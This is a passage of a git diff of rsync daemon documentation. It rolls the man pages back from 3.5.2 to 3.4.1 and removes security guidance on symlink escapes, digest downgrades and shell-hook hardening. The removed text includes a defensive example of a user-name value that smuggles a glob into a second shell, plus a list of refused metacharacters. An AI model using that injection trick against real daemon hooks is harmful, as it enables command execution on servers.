encryption of the data that is transferred over the connection. Only\n@@ -1502,7 +1298,7 @@ Please report bugs! The rsync bug tracking system is online at\n .P\n .SH \"VERSION\"\n .P\n-This manpage is current for version 3.5.2 of rsync.\n+This manpage is current for version 3.4.1 of rsync.\n .P\n .SH \"CREDITS\"\n .P\n@@ -1527,8 +1323,6 @@ Thanks to Karsten Thygesen for his many suggestions and documentation!\n Rsync was originally written by Andrew Tridgell and Paul Mackerras.  Many\n people from around the world have helped to maintain and improve it.\n .P\n-Special thanks go to Wayne Davison, who maintained rsync from 2004 to 2024.\n-.P\n Mailing lists for support and development are available at\n .UR https://lists.samba.org/\n .UE .\ndiff --git a/rsyncd.conf.5.html b/rsyncd.conf.5.html\nindex 47f4859..7f90a88 100644\n--- a/rsyncd.conf.5.html\n+++ b/rsyncd.conf.5.html\n@@ -70,12 +70,6 @@ log, and lock files.</p>\n <p>You can launch it either via inetd, as a stand-alone daemon, or from an rsync\n client via a remote shell.  If run as a stand-alone daemon then just run the\n command &quot;<code>rsync --daemon</code>&quot; from a suitable startup script.</p>\n-<p>Systems using systemd can use the example unit files in the source tree's\n-<code>packaging/systemd</code> directory.  The <code>rsync.service</code> file runs a stand-alone\n-daemon using <code>rsync --daemon --no-detach</code>, while <code>rsync.socket</code> and\n-<code>rsync@.service</code> show a socket-activated setup for incoming connections.  These\n-files may need local adjustment to match your installed rsync path, packaging\n-layout, and module policy.</p>\n <p>When run via inetd you should add a line like this to /etc/services:</p>\n <blockquote>\n <pre><code>rsync           873/tcp\n@@ -238,15 +232,14 @@ chrooted to the module's path), rsync does not do any path sanitizing or\n <p>When it has to limit access to a particular subdir (either due to chroot\n being disabled or having an inside-chroot path set), rsync will munge\n symlinks (by default) and sanitize paths.  Those that dislike munged\n-symlinks can disable the symlink munging via the &quot;<a href=\"#munge_symlinks\">munge symlinks</a>&quot;\n-parameter; incoming symlink values are then sanitized instead (see that\n-parameter).</p>\n-<p>When rsync is sanitizing paths, it resolves away the &quot;..&quot; path elements that\n-would take an arg above the module hierarchy.  For an operator-supplied\n-option path such as <code>--backup-dir</code> &amp; <code>--compare-dest</code>, a leading slash is\n-also substituted with the module's path (so an absolute path is interpreted\n-as rooted in the module's &quot;<a href=\"#path\">path</a>&quot; dir); for the transfer's own source\n-args a leading slash is simply dropped.</p>\n+symlinks (and really, really trust their users to not break out of the\n+subdir) can disable the symlink munging via the &quot;<a href=\"#munge_symlinks\">munge symlinks</a>&quot;\n+parameter.</p>\n+<p>When rsync is sanitizing paths, it trims &quot;..&quot; path elements from args that\n+it believes would escape the module hierarchy. It also substitutes leading\n+slashes in absolute paths with the module's path (so that options such as\n+<code>--backup-dir</code> &amp; <code>--compare-dest</code> interpret an absolute path as rooted in\n+the module's &quot;<a href=\"#path\">path</a>&quot; dir).</p>\n <p>When a chroot is in effect <u>and</u> the &quot;<a href=\"#name_converter\">name converter</a>&quot; parameter is\n <u>not</u> set, the &quot;<a href=\"#numeric_ids\">numeric ids</a>&quot; parameter will default to being enabled\n (disabling name lookups).  This means that if you manually setup\n@@ -292,13 +285,6 @@ others, then you will need to setup multiple rsync daemon processes on\n different ports.</p>\n </dd>\n \n-<dt id=\"proxy_protocol_hosts\"><code>proxy protocol hosts</code><a href=\"#proxy_protocol_hosts\" class=\"tgt\"></a></dt><dd>\n-<p>This global parameter lists the socket peer IP addresses that are allowed\n-to supply a <code>proxy protocol</code> header.  The syntax is the same token format\n-used by <code>hosts allow</code>.  When <code>proxy protocol = true</code>, this list must match\n-the direct peer before rsync trusts the forwarded client address.</p>\n-</dd>\n-\n <dt id=\"name_converter\"><code>name converter</code><a href=\"#name_converter\" class=\"tgt\"></a></dt><dd>\n <p>This parameter lets you specify a program that will be run by the rsync\n daemon to do user &amp; group conversions between names &amp; ids.  This script\n@@ -333,65 +319,38 @@ that it is not possible for a user to change those resources.</p>\n </dd>\n \n <dt id=\"munge_symlinks\"><code>munge symlinks</code><a href=\"#munge_symlinks\" class=\"tgt\"></a></dt><dd>\n-<p>This parameter tells rsync to modify all incoming symlinks the same way as\n-the (non-daemon-affecting) <code>--munge-links</code> command-line option: it prefixes\n-each stored symlink's value with the string &quot;/rsyncd-munged/&quot;.  Because that\n-directory does not normally exist, a munged symlink cannot be followed, so\n-an uploaded symlink cannot be used to read or write a file through it.  On\n-the way back out the prefix is stripped, so clients see the original symlink\n-values.  When this parameter is enabled, rsync refuses to run a module if\n-&quot;/rsyncd-munged/&quot; already exists in it as a directory or a symlink to a\n-directory.  The default depends on chroot.  For a plain chrooted module&nbsp;-&#8288;-&#8288;\n-&quot;<a href=\"#use_chroot\">use chroot</a>&quot; on and &quot;<a href=\"#path\">path</a>&quot; with no &quot;/./&quot; split, so the daemon\n-chroots straight into the module and serves it as the chroot root&nbsp;-&#8288;-&#8288; munging\n-is disabled by default, since the chroot itself already stops a symlink from\n-escaping.  In every other case it is enabled: any non-chroot module, or a\n-chroot module whose &quot;<a href=\"#path\">path</a>&quot; uses a &quot;/./&quot; split to serve an inner subdir\n-below the chroot root.</p>\n-<p>When this parameter is disabled on a writable module whose access is limited\n-to a subdir (i.e. &quot;<a href=\"#use_chroot\">use chroot</a>&quot; is off, or the inside-chroot path is not\n-&quot;/&quot;), an incoming symlink is not prefixed but is still sanitized as it is\n-stored: a leading slash is dropped and any leading &quot;..&quot; components that would\n-take the value above the module are removed, so a stored symlink's value\n-cannot name a path outside the module (it can still point to another name\n-inside the module).</p>\n-<p>Munging changes only the symlink VALUES that are stored.  Whether the daemon\n-follows a <u>pre-existing</u> in-module symlink when it resolves a transfer path\n-is a separate matter, governed by the secure path resolver that is on by\n-default; see the &quot;<a href=\"#insecure_links\">insecure links</a>&quot; parameter for the exact rule and how\n-to opt out of it.</p>\n-<p>When using the &quot;munge symlinks&quot; parameter in a chroot area that has an\n+<p>This parameter tells rsync to modify all symlinks in the same way as the\n+(non-daemon-affecting) <code>--munge-links</code> command-line option (using a method\n+described below).  This should help protect your files from user trickery\n+when your daemon module is writable.  The default is disabled when\n+&quot;<a href=\"#use_chroot\">use chroot</a>&quot; is on with an inside-chroot path of &quot;/&quot;, OR if &quot;<a href=\"#daemon_chroot\">daemon chroot</a>&quot;\n+is on, otherwise it is enabled.</p>\n+<p>If you disable this parameter on a daemon that is not read-only, there are\n+tricks that a user can play with uploaded symlinks to access\n+daemon-excluded items (if your module has any), and, if &quot;<a href=\"#use_chroot\">use chroot</a>&quot; is\n+off, rsync can even be tricked into showing or changing data that is\n+outside the module's path (as access-permissions allow).</p>\n+<p>The way rsync disables the use of symlinks is to prefix each one with the\n+string &quot;/rsyncd-munged/&quot;.  This prevents the links from being used as long\n+as that directory does not exist.  When this parameter is enabled, rsync\n+will refuse to run if that path is a directory or a symlink to a directory.\n+When using the &quot;munge symlinks&quot; parameter in a chroot area that has an\n inside-chroot path of &quot;/&quot;, you should add &quot;/rsyncd-munged/&quot; to the exclude\n setting for the module so that a user can't try to create it.</p>\n-<p>To add or remove the &quot;/rsyncd-munged/&quot; prefix on symlinks yourself (for\n-instance on links you create locally inside a module), there is a python\n-script in the support directory of the source code named &quot;munge-symlinks&quot;.</p>\n-</dd>\n-\n-<dt id=\"insecure_links\"><code>insecure links</code><a href=\"#insecure_links\" class=\"tgt\"></a></dt><dd>\n-<p>This parameter (defaulting to &quot;false&quot;) controls whether the daemon resolves\n-its symlink-bearing paths with the normal symlink-race defences or with the\n-legacy follow-any-symlink behaviour.</p>\n-<p>When false (the default), the daemon refuses to follow a symlink it did not\n-create&nbsp;-&#8288;-&#8288; the directory enumeration and file-content opens of the served\n-module, and the operator-supplied paths (<code>--backup-dir</code>, <code>--temp-dir</code>,\n-<code>--partial-dir</code>, the alt-dest basis dirs, and so on) are all resolved with a\n-walk that follows a symlink component only when it is owned by uid&nbsp;0 or\n-by the uid the module runs as, refusing one planted by any other user.  A\n-client can never relax this: a client that sends <code>--insecure-links</code> to the\n-daemon has its request refused.</p>\n-<p>Setting this parameter to &quot;true&quot; restores the pre-hardening behaviour for\n-<strong>this module only</strong>: the daemon follows <strong>any</strong> symlink in those paths.</p>\n-<blockquote>\n-<p><strong>WARNING:</strong> enabling &quot;insecure links&quot; re-opens the symlink-escape /\n-TOCTOU vulnerabilities that the default closes (including CVE-2026-53797\n-and CVE-2026-53801): an attacker who can create a symlink inside the module&nbsp;-&#8288;-&#8288; or who shares the host with the served tree&nbsp;-&#8288;-&#8288; can redirect the daemon's\n-reads and writes to files <strong>outside</strong> the module.  Enable it <strong>only</strong> on a\n-single-tenant, fully-isolated, or otherwise trusted host where no untrusted\n-local user can plant a symlink in the served tree.  It is the daemon\n-analogue of the client's <code>--insecure-links</code> and exists for the same narrow\n-&quot;I accept the risk in my isolated environment&quot; case.</p>\n-</blockquote>\n+<p>Note:  rsync makes no attempt to verify that any pre-existing symlinks in\n+the module's hierarchy are as safe as you want them to be (unless, of\n+course, it just copied in the whole hierarchy).  If you setup an rsync\n+daemon on a new area or locally add symlinks, you can manually protect your\n+symlinks from being abused by prefixing &quot;/rsyncd-munged/&quot; to the start of\n+every symlink's value.  There is a perl script in the support directory of\n+the source code named &quot;munge-symlinks&quot; that can be used to add or remove\n+this prefix from your symlinks.</p>\n+<p>When this parameter is disabled on a writable module and &quot;<a href=\"#use_chroot\">use chroot</a>&quot; is\n+off (or the inside-chroot path is not &quot;/&quot;), incoming symlinks will be\n+modified to drop a leading slash and to remove &quot;..&quot; path elements that\n+rsync believes will allow a symlink to escape the module's hierarchy.\n+There are tricky ways to work around this, though, so you had better trust\n+your users if you choose this combination of parameters.</p>\n </dd>\n \n <dt id=\"charset\"><code>charset</code><a href=\"#charset\" class=\"tgt\"></a></dt><dd>\n@@ -592,14 +551,6 @@ priority.  Anchored patterns are anchored at the root of the module.  To\n prevent access to an entire subtree, for example, &quot;<code>/secret</code>&quot;, you <strong>must</strong>\n exclude everything in the subtree; the easiest way to do this is with a\n triple-star pattern like &quot;<code>/secret/***</code>&quot;.</p>\n-<p>The filter chain matches the <strong>logical name</strong> of each item relative to the\n-module root, not the physical file it resolves to.  It is a visibility and\n-tamper filter, <strong>not</strong> a security boundary against symlinks: a symlink inside\n-the module whose own name is not excluded can still be followed to an excluded\n-target (the name the filter sees&nbsp;-&#8288;-&#8288; e.g. &quot;<code>link</code>&quot;&nbsp;-&#8288;-&#8288; is not the excluded name&nbsp;-&#8288;-&#8288; e.g. &quot;<code>secret</code>&quot;).  What protects a writable module from symlink trickery is\n-the &quot;<a href=\"#munge_symlinks\">munge symlinks</a>&quot; parameter (enabled by default for a writable,\n-non-chrooted module), <strong>not</strong> this filter; do not rely on <code>exclude</code>/<code>filter</code> to\n-confine a peer who can introduce or traverse a symlink.</p>\n <p>The &quot;filter&quot; parameter takes a space-separated list of daemon filter rules,\n though it is smart enough to know not to split a token at an internal space\n in a rule (e.g. &quot;<code>- /foo  - /bar</code>&quot; is parsed as two rules).  You may specify\n@@ -735,58 +686,18 @@ users, groups, or both.  The use of group rules in &quot;<a href=\"#auth_users\">a\n require that you specify a group password if you do not want to use shared\n passwords.</p>\n <p>There is no default for the &quot;secrets file&quot; parameter, you must choose a\n-name (such as <code>/etc/rsyncd.secrets</code>).  Unless &quot;<a href=\"#strict_modes\">strict modes</a>&quot; is\n-disabled, the file must not be readable or writable by &quot;other&quot;, and (when\n-the daemon runs as root) must be owned by root; see &quot;<a href=\"#strict_modes\">strict modes</a>&quot; for\n-the exact check.  If the file is not found or is rejected, no logins for an\n-&quot;<a href=\"#auth_users\">auth users</a>&quot; module will be possible.</p>\n-</dd>\n-\n-<dt id=\"auth_digest\"><code>auth digest</code><a href=\"#auth_digest\" class=\"tgt\"></a></dt><dd>\n-<p>This parameter sets the <u>minimum</u> message digest that the daemon will accept\n-for the challenge-response authentication of an &quot;<a href=\"#auth_users\">auth users</a>&quot; module.\n-The available digests, strongest first, are <code>sha512</code>, <code>sha256</code>, <code>sha1</code>,\n-<code>md5</code>, <code>md4</code>.  The daemon selects its own most-preferred digest that also\n-appears in the connecting client's advertised list (and falls back to <code>md5</code>,\n-or <code>md4</code> below protocol 30, for a client that advertises none), so a client\n-that advertises only weak digests can still force a weak negotiated digest.\n-If it is weaker than the configured\n-name, the connection is refused before the challenge is sent.  The value is a\n-single digest name, for example:</p>\n-<blockquote>\n-<pre><code>auth digest = sha256\n-</code></pre>\n-</blockquote>\n-<p>which requires <code>sha256</code> or <code>sha512</code> and refuses an <code>md5</code> or <code>md4</code> exchange.</p>\n-<p>This guards against an <u>auth-digest downgrade</u>.  A peer that sends no digest\n-list (any rsync before 3.2.0, including the openrsync that ships with macOS)\n-makes the daemon fall back to <code>md5</code> (or <code>md4</code> below protocol 30), and an\n-on-path attacker can rewrite the unauthenticated negotiation to force the same\n-weak choice.  A captured challenge-response is far cheaper to brute-force\n-offline against a weak digest, so a site whose clients are all modern can\n-require a strong one.  See the rsync <code>SECURITY.md</code> document for the full\n-threat model.</p>\n-<p>There is <strong>no default</strong>&nbsp;-&#8288;-&#8288; the floor is off and the daemon accepts whatever\n-digest is negotiated, preserving compatibility with older clients.  Enabling a\n-floor refuses every client that cannot offer at least that digest, notably any\n-rsync older than 3.2.0 (when the SHA digests were added) and the\n-macOS-bundled openrsync, which authenticate only with <code>md4</code>/<code>md5</code>.  The SHA\n-digests require an rsync built with openssl at both ends; naming a digest this\n-build does not provide refuses all logins to the module (fail-closed).</p>\n-<p>Like the other auth parameters, this may be set per module or, for a default\n-that applies to every module, in the global part of the config file.</p>\n+name (such as <code>/etc/rsyncd.secrets</code>).  The file must normally not be\n+readable by &quot;other&quot;; see &quot;<a href=\"#strict_modes\">strict modes</a>&quot;.  If the file is not found or is\n+rejected, no logins for an &quot;<a href=\"#auth_users\">auth users</a>&quot; module will be possible.</p>\n </dd>\n \n <dt id=\"strict_modes\"><code>strict modes</code><a href=\"#strict_modes\" class=\"tgt\"></a></dt><dd>\n <p>This parameter determines whether or not the permissions on the secrets\n-file will be checked.  If &quot;strict modes&quot; is true (the default), the secrets\n-file is rejected if it is readable or writable by &quot;other&quot; (i.e. if any of\n-the other-read or other-write permission bits is set), and, when the daemon\n-is running as root, if the file is not owned by root.  Group permissions and\n-the other-execute bit are not consulted, so modes such as 600 or 640 are\n-accepted while 644 (or any other-readable/-&#8288;writable mode) is rejected.  If\n-&quot;strict modes&quot; is false, no permission check is performed.  This parameter\n-was added to accommodate rsync running on the Windows operating system.</p>\n+file will be checked.  If &quot;strict modes&quot; is true, then the secrets file\n+must not be readable by any user ID other than the one that the rsync\n+daemon is running under.  If &quot;strict modes&quot; is false, the check is not\n+performed.  The default is true.  This parameter was added to accommodate\n+rsync running on the Windows operating system.</p>\n </dd>\n \n <dt id=\"hosts_allow\"><code>hosts allow</code><a href=\"#hosts_allow\" class=\"tgt\"></a></dt><dd>\n@@ -817,19 +728,6 @@ is enabled, as it is by default).  Any match will be allowed in.</li>\n <li>an '@' followed by a netgroup name, which will match if the reverse DNS\n of the connecting IP is in the specified netgroup.</li>\n </ul>\n-<p>If rsync was built with IDN support (look for &quot;IDN&quot; in <code>rsync --version</code>),\n-a hostname pattern may contain non-ASCII characters: this file is read as\n-UTF-8, and each non-ASCII label is converted to its IDNA A-label\n-(&quot;Punycode&quot;) form before matching, since the name the daemon has for a\n-client always reaches it from DNS as ASCII.  A pattern written with\n-combining characters is normalized on the way, so it matches the same as\n-its precomposed spelling.  Only those labels change, so an address, a\n-mask, an already-punycoded name, and the wildcard characters are all\n-matched exactly as written.  A pattern that cannot be converted that way\n-is matched as it stands, and thus matches nothing.  That includes a\n-pattern whose conversion would have introduced a character it was not\n-written with, such as the U+FF0A FULLWIDTH ASTERISK that the IDNA mapping\n-turns into a &quot;*&quot;.</p>\n <p>Note IPv6 link-local addresses can have a scope in the address\n specification:</p>\n <blockquote>\n@@ -1124,39 +1022,6 @@ server side, so this is not the final exit status for the whole transfer.</li>\n <li><code>RSYNC_RAW_STATUS</code>: (post-xfer only) the raw exit value from\n <strong>waitpid()</strong>.</li>\n </ul>\n-<p>A <code>%VAR%</code> reference expanded into one of these commands is escaped for the\n-quoting context it appears in, which is correct for the single shell that\n-runs the command.  It is not correct for a command that starts a SECOND\n-shell, such as <code>sh -c '... %RSYNC_USER_NAME% ...'</code>: the outer shell consumes\n-the escaping, and the inner one sees the value bare.  A value of <code>touc?</code>\n-would then be glob-expanded against <code>/usr/bin/</code>, so the substitution is not\n-data any more&nbsp;-&#8288;-&#8288; it chooses the command.</p>\n-<p>Because rsync cannot escape for an unknown number of shell passes, a value\n-carrying any character that a shell could act on is refused outright, and\n-the transfer is aborted with</p>\n-<blockquote>\n-<pre><code>refusing to run shell hook: %VAR% holds a shell metacharacter\n-</code></pre>\n-</blockquote>\n-<p>The refused characters are whitespace, the quoting and expansion characters\n-<code>'</code> <code>&quot;</code> <code>`</code> <code>$</code> <code>\\</code>, the separators <code>;</code> <code>&amp;</code> <code>|</code>, redirections <code>&lt;</code> <code>&gt;</code>,\n-parentheses, the pattern characters <code>*</code> <code>?</code> <code>[</code> <code>]</code>, <code>#</code>, <code>!</code>, <code>~</code>, <code>{</code> <code>}</code>,\n-and any control character.  Some of those are harmless on their own and are\n-refused for what a <u>second</u> shell would do with them&nbsp;-&#8288;-&#8288; <code>!</code> negates in\n-command position, so a hook written as an access check can be turned from a\n-denial into an approval, and <code>~</code> is tilde-expanded.</p>\n-<p>This applies to EVERY <code>%RSYNC_*%</code> value, including ones you supplied\n-yourself.  In particular a module whose <code>path</code> contains any of them cannot\n-be interpolated into one of these commands: <code>path = /srv/My Backups</code> with a command mentioning\n-<code>%RSYNC_MODULE_PATH%</code> will refuse every transfer of that module, not just a\n-hostile one.  The restriction is deliberate&nbsp;-&#8288;-&#8288; rsync cannot tell your space\n-from an attacker's once both are inside the same string, and <code>path</code> itself\n-may be built from a peer value such as <code>path = /home/%RSYNC_USER_NAME%</code>.</p>\n-<p>If you need such a value in a hook, pass it through the environment instead\n-of interpolating it: the same names are exported to the command, so\n-<code>&quot;$RSYNC_MODULE_PATH&quot;</code> inside your script is unrestricted by this check.\n-Quote it there as shown&nbsp;-&#8288;-&#8288; rsync no longer has any say in how your script\n-splits the value.</p>\n <p>Even though the commands can be associated with a particular module, they\n are run using the permissions of the user that started the daemon (not the\n module's uid/gid setting) without any chroot restrictions.</p>\n@@ -1165,14 +1030,6 @@ shell to use when running the command (which otherwise uses your\n <strong>system()</strong> call's default shell), and use RSYNC_NO_XFER_EXEC to disable\n both options completely.</p>\n </dd>\n-\n-<dt id=\"temp_dir\"><code>temp dir</code><a href=\"#temp_dir\" class=\"tgt\"></a></dt><dd>\n-<p>Specifies a directory that rsync should use for temporary files created\n-during the transfer of updated files. If that directory is on a different\n-partition, after transfer file is being copied instead of unlinked.</p>\n-<p>This parameter equals with <code>--temp-dir</code> option, so please consult rsync\n-manpage for further information.</p>\n-</dd>\n </dl>\n <h2 id=\"CONFIG_DIRECTIVES\">CONFIG DIRECTIVES<a href=\"#CONFIG_DIRECTIVES\" class=\"tgt\"></a></h2>\n <p>There are currently two config directives available that allow a config file to\n@@ -1224,74 +1081,12 @@ pid file = /var/lock/rsync.lock\n <p>This would merge any <code>/etc/rsyncd.d/*.inc</code> files (for global values that should\n stay in effect), and then include any <code>/etc/rsyncd.d/*.conf</code> files (defining\n modules without any global-value cross-talk).</p>\n-<h2 id=\"SECURITY\">SECURITY<a href=\"#SECURITY\" class=\"tgt\"></a></h2>\n-<p>An rsync daemon exposes part of your filesystem to network clients, and its\n-master process usually runs as root, so it should be configured defensively.\n-The following is a practical checklist; the project's <code>SECURITY.md</code> describes the\n-underlying threat model and the per-platform residuals.</p>\n-<dl>\n-\n-<span id=\"t_inner\"></span><span id=\"t_outer\"></span><span id=\"path-2\"></span><dt id=\"Confine_each_module_to_its_path.\"><strong>Confine each module to its path.</strong>\n-Leave &quot;<a href=\"#use_chroot\">use chroot</a>&quot; enabled (the default attempts a chroot) so the\n-per-connection worker is jailed inside the module's &quot;<a href=\"#path\">path</a>&quot;.  Where chroot\n-is unavailable rsync still resolves every transfer path so it cannot escape\n-the module through a symlinked parent, but a chroot is the stronger boundary&nbsp;-&#8288;-&#8288; keep it on unless you have a specific reason not to.  A <code>path = /outer/./inner</code> chroots to <code>/outer</code> while serving <code>/inner</code> as the module root.<a href=\"#Confine_each_module_to_its_path.\" class=\"tgt\"></a></dt><dd>\n-</dd>\n-\n-<dt id=\"Drop_privileges.\"><strong>Drop privileges.</strong>\n-Give each module a low-privilege &quot;<a href=\"#uid\">uid</a>&quot; and &quot;<a href=\"#gid\">gid</a>&quot; so a worker never\n-serves files as root; only the master process needs root (to chroot and bind\n-the port).  Keep modules &quot;<a href=\"#read_only\">read only</a>&quot; unless they must accept uploads, and\n-prefer &quot;<a href=\"#numeric_ids\">numeric ids</a>&quot; (or a &quot;<a href=\"#name_converter\">name converter</a>&quot;) so a malicious file\n-list cannot map files to an unexpected local owner.<a href=\"#Drop_privileges.\" class=\"tgt\"></a></dt><dd>\n-</dd>\n-\n-<dt id=\"Restrict_who_can_connect.\"><strong>Restrict who can connect.</strong>\n-Limit reachability with &quot;<a href=\"#hosts_allow\">hosts allow</a>&quot; / &quot;<a href=\"#hosts_deny\">hosts deny</a>&quot;, bind the\n-daemon to a specific &quot;<a href=\"#address\">address</a>&quot;, and use a host firewall.  A module\n-without &quot;<a href=\"#auth_users\">auth users</a>&quot; is reachable by anyone who can reach the port.<a href=\"#Restrict_who_can_connect.\" class=\"tgt\"></a></dt><dd>\n-</dd>\n-\n-<span id=\"auth_digest-2\"></span><dt id=\"Authenticate_with_a_strong_secret_and_digest.\"><strong>Authenticate with a strong secret and digest.</strong>\n-Require login with &quot;<a href=\"#auth_users\">auth users</a>&quot; plus a &quot;<a href=\"#secrets_file\">secrets file</a>&quot; that is\n-readable only by the daemon user (rsync refuses a too-open file unless\n-&quot;<a href=\"#strict_modes\">strict modes</a>&quot; is disabled), and use a long, high-entropy secret.  To\n-refuse the weak MD4/MD5 challenge digests that old clients can negotiate, set\n-a floor with &quot;<a href=\"#auth_digest\">auth digest</a>&quot; (for example <code>auth digest = sha512</code>); see the\n-AUTHENTICATION STRENGTH section below.<a href=\"#Authenticate_with_a_strong_secret_and_digest.\" class=\"tgt\"></a></dt><dd>\n-</dd>\n-\n-<span id=\"not\"></span><dt id=\"Encrypt_the_connection.\"><strong>Encrypt the connection.</strong>\n-The daemon protocol authenticates but does <strong>not</strong> encrypt the data stream.\n-Do not expose a cleartext daemon to an untrusted network: front it with a TLS\n-proxy (see the SSL/TLS Daemon Setup section below) or run it over ssh.<a href=\"#Encrypt_the_connection.\" class=\"tgt\"></a></dt><dd>\n-</dd>\n-\n-<span id=\"not-2\"></span><dt id=\"Keep_symlink_handling_safe.\"><strong>Keep symlink handling safe.</strong>\n-Leave &quot;<a href=\"#munge_symlinks\">munge symlinks</a>&quot; enabled on any writable module (it is the default)\n-so an uploaded symlink cannot redirect a later operation outside the module.\n-Do <strong>not</strong> set &quot;<a href=\"#insecure_links\">insecure links</a> = yes&quot; on a host shared with untrusted\n-local users: it disables the daemon's symlink-escape protections (re-opening\n-the symlink TOCTOU/escape vulnerabilities, including CVE-2026-53797 and\n-CVE-2026-53801) and is appropriate only on a single-tenant, fully isolated\n-host.<a href=\"#Keep_symlink_handling_safe.\" class=\"tgt\"></a></dt><dd>\n-</dd>\n-\n-<dt id=\"Refuse_options_you_do_not_want.\"><strong>Refuse options you do not want.</strong>\n-Use &quot;<a href=\"#refuse_options\">refuse options</a>&quot; to reject client options a module should not allow.<a href=\"#Refuse_options_you_do_not_want.\" class=\"tgt\"></a></dt><dd>\n-</dd>\n-</dl>\n <h2 id=\"AUTHENTICATION_STRENGTH\">AUTHENTICATION STRENGTH<a href=\"#AUTHENTICATION_STRENGTH\" class=\"tgt\"></a></h2>\n-<p>Daemon authentication is a challenge-response system in which the client\n-returns a digest of the shared secret and a server-chosen challenge.  Modern\n-rsync (3.2.7 and later, built with openssl) negotiates the strongest digest both\n-sides support&nbsp;-&#8288;-&#8288; <code>sha512</code> by default&nbsp;-&#8288;-&#8288; but for backward compatibility it falls\n-back to <code>md5</code> (or <code>md4</code> below protocol 30) for a client that advertises no digest\n-list, and the digest negotiation is itself unauthenticated.  A daemon that wants\n-to require a strong digest can set &quot;<a href=\"#auth_digest\">auth digest</a>&quot;.  For the best protection,\n-run rsync over ssh or a verified TLS transport (<code>rsync-ssl</code>), which protects the\n-exchange at the transport layer, and use a high-entropy shared secret (which is\n-infeasible to brute-force regardless of the digest).</p>\n+<p>The authentication protocol used in rsync is a 128 bit MD4 based challenge\n+response system. This is fairly weak protection, though (with at least one\n+brute-force hash-finding algorithm publicly available), so if you want really\n+top-quality security, then I recommend that you run rsync over ssh.  (Yes, a\n+future version of rsync will switch over to a stronger hashing method.)</p>\n <p>Also note that the rsync daemon protocol does not currently provide any\n encryption of the data that is transferred over the connection. Only\n authentication is provided. Use ssh as the transport if you want encryption.</p>\n@@ -1396,7 +1191,7 @@ susan:herpass\n <p>Please report bugs! The rsync bug tracking system is online at\n <a href=\"https://rsync.samba.org/\">https://rsync.samba.org/</a>.</p>\n <h2 id=\"VERSION\">VERSION<a href=\"#VERSION\" class=\"tgt\"></a></h2>\n-<p>This manpage is current for version 3.5.2 of rsync.</p>\n+<p>This manpage is current for version 3.4.1 of rsync.</p>\n <h2 id=\"CREDITS\">CREDITS<a href=\"#CREDITS\" class=\"tgt\"></a></h2>\n <p>Rsync is distributed under the GNU General Public License.  See the file\n <a href=\"COPYING\">COPYING</a> for details.</p>\n@@ -1408,8 +1203,7 @@ Thanks to Karsten Thygesen for his many suggestions and documentation!</p>\n <h2 id=\"AUTHOR\">AUTHOR<a href=\"#AUTHOR\" class=\"tgt\"></a></h2>\n <p>Rsync was originally written by Andrew Tridgell and Paul Mackerras.  Many\n people from around the world have helped to maintain and improve it.</p>\n-<p>Special thanks go to Wayne Davison, who maintained rsync from 2004 to 2024.</p>\n <p>Mailing lists for support and development are available at\n <a href=\"https://lists.samba.org/\">https://lists.samba.org/</a>.</p>\n-<div style=\"float: right\"><p><i>4 Nov 2026</i></p></div>\n+<div style=\"float: right\"><p><i>15 Jan 2025</i></p></div>\n </body></html>\ndiff --git a/rsyncd.conf.5.md b/rsyncd.conf.5.md\nindex d16d6f3..2f25765 100644\n--- a/rsyncd.conf.5.md\n+++ b/rsyncd.conf.5.md\n@@ -56,13 +56,6 @@ You can launch it either via inetd, as a stand-alone daemon, or from an rsync\n client via a remote shell.  If run as a stand-alone daemon then just run the\n command \"`rsync --daemon`\" from a suitable startup script.\n \n-Systems using systemd can use the example unit files in the source tree's\n-`packaging/systemd` directory.  The `rsync.service` file runs a stand-alone\n-daemon using `rsync --daemon --no-detach`, while `rsync.socket` and\n-`rsync@.service` show a socket-activated setup for incoming connections.  These\n-files may need local adjustment to match your installed rsync path, packaging\n-layout, and module policy.\n-\n When run via inetd you should add a line like this to /etc/services:\n \n >     rsync           873/tcp\n@@ -238,16 +231,15 @@ in the values of parameters.  See that section for details.\n     When it has to limit access to a particular subdir (either due to chroot\n     being disabled or having an inside-chroot path set), rsync will munge\n     symlinks (by default) and sanitize paths.  Those that dislike munged\n-    symlinks can disable the symlink munging via the \"[munge symlinks](#)\"\n-    parameter; incoming symlink values are then sanitized instead (see that\n-    parameter).\n+    symlinks (and really, really trust their users to not break out of the\n+    subdir) can disable the symlink munging via the \"[munge symlinks](#)\"\n+    parameter.\n \n-    When rsync is sanitizing paths, it resolves away the \"..\" path elements that\n-    would take an arg above the module hierarchy.  For an operator-supplied\n-    option path such as `--backup-dir` & `--compare-dest`, a leading slash is\n-    also substituted with the module's path (so an absolute path is interpreted\n-    as rooted in the module's \"[path](#)\" dir); for the transfer's own source\n-    args a leading slash is simply dropped.\n+    When rsync is sanitizing paths, it trims \"..\" path elements from args that\n+    it believes would escape the module hierarchy. It also substitutes leading\n+    slashes in absolute paths with the module's path (so that options such as\n+    `--backup-dir` & `--compare-dest` interpret an absolute path as rooted in\n+    the module's \"[path](#)\" dir).\n \n     When a chroot is in effect *and* the \"[name converter](#)\" parameter is\n     *not* set, the \"[numeric ids](#)\" parameter will default to being enabled\n@@ -297,13 +289,6 @@ in the values of parameters.  See that section for details.\n     others, then you will need to setup multiple rsync daemon processes on\n     different ports.\n \n-0.  `proxy protocol hosts`\n-\n-    This global parameter lists the socket peer IP addresses that are allowed\n-    to supply a `proxy protocol` header.  The syntax is the same token format\n-    used by `hosts allow`.  When `proxy protocol = true`, this list must match\n-    the direct peer before rsync trusts the forwarded client address.\n-\n 0.  `name converter`\n \n     This parameter lets you specify a program that will be run by the rsync\n@@ -343,71 +328,42 @@ in the values of parameters.  See that section for details.\n \n 0.  `munge symlinks`\n \n-    This parameter tells rsync to modify all incoming symlinks the same way as\n-    the (non-daemon-affecting) `--munge-links` command-line option: it prefixes\n-    each stored symlink's value with the string \"/rsyncd-munged/\".  Because that\n-    directory does not normally exist, a munged symlink cannot be followed, so\n-    an uploaded symlink cannot be used to read or write a file through it.  On\n-    the way back out the prefix is stripped, so clients see the original symlink\n-    values.  When this parameter is enabled, rsync refuses to run a module if\n-    \"/rsyncd-munged/\" already exists in it as a directory or a symlink to a\n-    directory.  The default depends on chroot.  For a plain chrooted module --\n-    \"[use chroot](#)\" on and \"[path](#)\" with no \"/./\" split, so the daemon\n-    chroots straight into the module and serves it as the chroot root -- munging\n-    is disabled by default, since the chroot itself already stops a symlink from\n-    escaping.  In every other case it is enabled: any non-chroot module, or a\n-    chroot module whose \"[path](#)\" uses a \"/./\" split to serve an inner subdir\n-    below the chroot root.\n-\n-    When this parameter is disabled on a writable module whose access is limited\n-    to a subdir (i.e. \"[use chroot](#)\" is off, or the inside-chroot path is 